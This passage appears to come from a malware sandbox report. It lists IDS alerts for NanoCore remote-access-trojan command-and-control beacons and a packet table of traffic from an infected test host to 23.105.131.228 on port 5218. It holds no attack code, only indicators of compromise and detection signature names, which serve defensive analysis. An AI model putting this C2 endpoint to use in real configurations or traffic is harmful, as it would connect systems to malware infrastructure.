192.168.11.2023.105.131.2284984852182816718 05/25/22-16:34:13.753308	TCP	2816718	ETPRO TROJAN NanoCore RAT Keep-Alive Beacon	49848	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284982252182025019 05/25/22-16:32:15.727698	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49822	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284983252182025019 05/25/22-16:32:39.456089	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49832	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284979852182025019 05/25/22-16:29:46.898756	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49798	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284980552182025019 05/25/22-16:30:30.115828	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49805	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284981052182816766 05/25/22-16:31:02.456519	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49810	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284984252182025019 05/25/22-16:33:35.275332	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49842	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284980052182816766 05/25/22-16:30:00.278352	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49800	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284978552182816766 05/25/22-16:28:26.357244	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49785	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284977952182025019 05/25/22-16:27:47.275839	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49779	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284979552182816766 05/25/22-16:29:29.845796	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49795	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284981452182025019 05/25/22-16:31:26.168469	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49814	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284980452182025019 05/25/22-16:30:23.941395	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49804	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284978952182025019 05/25/22-16:28:49.375932	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49789	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284979952182025019 05/25/22-16:29:53.078752	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49799	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284983352182025019 05/25/22-16:32:45.614041	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49833	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284984352182025019 05/25/22-16:33:41.543999	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49843	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284977552182816766 05/25/22-16:27:30.206122	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49775	5218	192.168.11.20	23.105.131.228

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 25, 2022 16:26:44.311292887 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.311387062 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.311680079 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.330933094 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.330951929 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.358524084 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.358740091 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.358819008 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.451416969 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.451738119 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.451941967 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.456485987 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.502564907 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.988732100 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.988842010 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.988888025 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.988933086 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.989001989 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.989003897 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.989017963 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.989022017 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.989048004 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.989095926 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.989154100 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.989166021 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.989233971 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.989280939 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.989324093 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.989334106 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.989337921 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.989346027 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.989473104 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.989476919 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.989540100 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.989550114 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.989656925 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.989664078 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.989728928 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.989733934 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.989742994 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.989836931 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.989849091 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.989917994 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.989918947 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.989928961 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.990036011 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.990046024 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.990108967 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.990117073 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.990128994 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.990196943 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.990246058 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.990257025 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.990261078 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.990287066 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.990294933 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.990303040 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.990422010 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.990433931 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.990556955 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.990569115 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.990605116 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.990613937 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.990617037 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.990621090 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.990658045 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.990705967 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.990766048 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.990776062 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.990847111 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.990855932 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.990865946 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.990942001 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.990952015 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.990955114 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.990963936 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.998097897 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.998281002 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.998296022 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.998318911 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.998425007 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.998486996 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.998501062 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.998603106 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.998631001 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.998676062 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.998687029 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.998756886 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.998769999 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.998774052 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.998806000 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.998816013 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.998888016 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.998945951 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.998956919 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.999027967 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.999125004 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.999136925 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.999197960 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.999208927 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.999212980 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.999269009 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.999295950 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.999304056 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.999344110 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.999353886 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.999408007 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.999434948 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.999442101 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.999490976 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.999501944 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.999566078 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.999578953 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.999583006 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.999614954 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.999623060 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.999630928 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.999763966 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.999773979 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.999785900 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:44.999890089 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.999896049 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:44.999938011 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.007461071 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:45.007674932 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:45.007677078 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.007694006 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:45.007847071 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:45.007874012 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.007885933 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:45.008008957 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.008023024 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:45.008028984 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.008060932 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.008105993 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.008116961 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:45.008203983 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.008209944 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:45.008217096 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.008301973 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.008311987 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:45.008385897 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.008392096 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:45.008502960 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.008514881 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:45.008519888 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.008550882 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.008577108 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:45.008604050 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.008667946 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:45.008698940 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.008707047 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.008748055 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.008757114 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:45.008830070 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:45.008846045 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.008853912 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.008939028 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:45.008944035 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.008955002 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:45.008994102 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.009006023 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:45.009010077 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.009042025 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.009124041 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:45.009141922 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.009152889 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:45.009251118 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.009263039 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:45.009268045 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.009299040 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.009305000 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.009311914 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:45.009426117 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:45.009466887 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.009478092 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:45.009520054 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:45.009546995 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.009556055 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.009596109 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.009603024 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.009644032 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.009650946 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.009654999 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.009694099 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.009747028 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.009792089 CEST	49747	443	192.168.11.20	162.159.134.233
May 25, 2022 16:26:45.009807110 CEST	443	49747	162.159.134.233	192.168.11.20
May 25, 2022 16:26:46.507741928 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:46.834446907 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:46.834677935 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:46.864576101 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:47.158966064 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:47.159370899 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:47.190692902 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:47.235480070 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:47.475308895 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:47.475490093 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:47.855643988 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:47.855853081 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:48.186310053 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.186511040 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:48.605329990 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.605503082 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:48.681499004 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.681674004 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:48.685903072 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.685987949 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.686036110 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.686053038 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:48.686240911 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:48.687313080 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.687395096 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.687483072 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:48.687489986 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.687542915 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:48.687671900 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:48.688791990 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:48.701498032 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.701581955 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.701632977 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.701745987 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:48.701824903 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:48.912359953 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.912543058 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:48.936945915 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.937179089 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:48.938658953 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.938939095 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:48.943546057 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.943825960 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:48.944293022 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.944355011 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.944432020 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.944540024 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:48.944598913 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:48.944730043 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.944787025 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.944875002 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:48.944921017 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.944953918 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:48.945086002 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:48.950586081 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.950759888 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:48.950836897 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.951033115 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:48.953277111 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.953357935 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.953406096 CEST	5218	49748	23.105.131.228	192.168.11.20
May 25, 2022 16:26:48.953478098 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:48.953558922 CEST	49748	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:52.968162060 CEST	49749	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:53.234632969 CEST	5218	49749	23.105.131.228	192.168.11.20
May 25, 2022 16:26:53.234874964 CEST	49749	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:53.269481897 CEST	49749	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:53.639028072 CEST	5218	49749	23.105.131.228	192.168.11.20
May 25, 2022 16:26:53.639250994 CEST	49749	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:53.660254002 CEST	5218	49749	23.105.131.228	192.168.11.20
May 25, 2022 16:26:53.702894926 CEST	49749	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:54.031044006 CEST	5218	49749	23.105.131.228	192.168.11.20
May 25, 2022 16:26:54.031752110 CEST	49749	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:54.404963017 CEST	5218	49749	23.105.131.228	192.168.11.20
May 25, 2022 16:26:54.405358076 CEST	49749	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:54.757298946 CEST	5218	49749	23.105.131.228	192.168.11.20
May 25, 2022 16:26:54.757586002 CEST	49749	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:55.057468891 CEST	5218	49749	23.105.131.228	192.168.11.20
May 25, 2022 16:26:55.057687044 CEST	49749	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:55.124582052 CEST	49749	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:55.160037041 CEST	5218	49749	23.105.131.228	192.168.11.20
May 25, 2022 16:26:55.160255909 CEST	49749	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:55.160762072 CEST	5218	49749	23.105.131.228	192.168.11.20
May 25, 2022 16:26:55.160988092 CEST	49749	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:55.173823118 CEST	5218	49749	23.105.131.228	192.168.11.20
May 25, 2022 16:26:55.173878908 CEST	5218	49749	23.105.131.228	192.168.11.20
May 25, 2022 16:26:55.174046040 CEST	49749	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:55.174541950 CEST	5218	49749	23.105.131.228	192.168.11.20
May 25, 2022 16:26:55.174575090 CEST	5218	49749	23.105.131.228	192.168.11.20
May 25, 2022 16:26:55.174751997 CEST	5218	49749	23.105.131.228	192.168.11.20
May 25, 2022 16:26:55.174915075 CEST	49749	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:55.175111055 CEST	49749	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:55.175898075 CEST	5218	49749	23.105.131.228	192.168.11.20
May 25, 2022 16:26:55.176049948 CEST	49749	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:55.196964979 CEST	5218	49749	23.105.131.228	192.168.11.20
May 25, 2022 16:26:55.197005987 CEST	5218	49749	23.105.131.228	192.168.11.20
May 25, 2022 16:26:55.197225094 CEST	49749	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:55.372685909 CEST	5218	49749	23.105.131.228	192.168.11.20
May 25, 2022 16:26:55.372857094 CEST	49749	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:59.356419086 CEST	49759	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:59.828742027 CEST	5218	49759	23.105.131.228	192.168.11.20
May 25, 2022 16:26:59.829008102 CEST	49759	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:26:59.829387903 CEST	49759	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:00.103276014 CEST	5218	49759	23.105.131.228	192.168.11.20
May 25, 2022 16:27:00.103543043 CEST	49759	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:00.263971090 CEST	49759	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:00.373589039 CEST	5218	49759	23.105.131.228	192.168.11.20
May 25, 2022 16:27:00.373730898 CEST	49759	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:04.489471912 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:04.845611095 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:04.845846891 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:04.846136093 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:05.153873920 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:05.154197931 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:05.222451925 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:05.222718954 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:05.450618982 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:05.450828075 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:05.535068989 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:05.724272966 CEST	5218	49767	23.105.131.228	192.168.11.20
